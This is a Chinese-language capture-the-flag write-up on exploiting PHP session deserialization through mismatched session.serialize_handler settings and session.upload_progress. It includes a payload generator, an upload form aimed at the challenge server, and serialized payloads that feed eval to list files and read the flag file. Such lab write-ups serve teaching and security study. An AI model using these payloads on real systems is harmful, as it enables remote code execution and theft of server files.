1.知识点
1.1php处理器
PHP内置了三个处理器,用来对session进行序列化和反序列化。在php 5.5.4以前默认选择的是php,5.5.4之后就是php_serialize,这里面是php_serialize。
php处理器:
PHP
php_binary
php_serialize (php>=5.5.4)
1.2反序列化漏洞
这个配置可以在php.ini文件中的“session.serialize_handler”参数,找到。
当php.ini文件中的“session.serialize_handler”设置,与在页面中的“session.serialize_handler”设置不一样时,就会可能有反序列化漏洞。我们要做的,就是向session中添加数据,这个数据,是我们想要执行的命令。把命令放在类的属性:mdzz中,让后序列化,想办法放在session中。当执行“session_start();”这个函数时,会把session给反序列化,默认执行构造函数和析构函数,而析构函数中,又存在高危函数,“eval(this->mdzz)”,从而来执行我们传入的命令。那我们怎么在session中插入数据呢?
1.3 session.upload_progress.enabled
这也是一个php设置的一个参数,在这道题的phpinfo页面,我们可以看到它的这个参数为On。而当它为On时,如果我们向服务器POST一个参数和一个文件,就可以向session中添加一条数据,是不是很神奇。但是,是有条件的:参数的名字必须和这个参数”session.upload_progress.name“的值相同,有点绕,理解一下。”session.upload_progress.name“又是啥,你可以在php.ini文件中找到,默认都是“PHP_SESSION_UPLOAD_PROGRESS”。
没错,还是很好满足的。当满足这个条件时,我们传过去的文件名,就可以被加到session中,我也不知道为什么。别人说的。然后,我们就开始吧!
2.实战
2.1 创建payload
<?php
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
public $mdzz = "print_r(scandir(dirname(__FILE__)));";
}
echo(serialize(new OowoO()));
?>
注意:这里的“OowoO”和"$mdzz",不能随便改。因为我们需要让我们这个对象在反序列化的时候,执行题目里“OowoO”这个类的构造和析构函数。最后生成payload:
O:5:"OowoO":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(__FILE__)));";}
但是要在双引号前加上反斜杠,防止转义错误;还要在O前面加上“|”,最后讲为什么。
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}
2.2 利用payload
就像我们在1.3里讲的,发送一个文件,和一个参数:
<!DOCTYPE html>
<html>
<head>
<title></title>
</head>
<body>
<form action = "http://web.jarvisoj.com:32784/index.php" method = "POST" enctype = "multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123">
<input type="file" name="file">
<input type="submit">
</form>
</body>
</html>
然后发送数据,抓包,把文件名改成我们改成生成的payload:
2.3 拿Flag
流程其实就是这样,接下来要做的,就是把“_FILE_”改成:"/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php",让后再走一遍,就可以了。
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:88:\"print_r(file_get_contents(\"/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php\"));\";}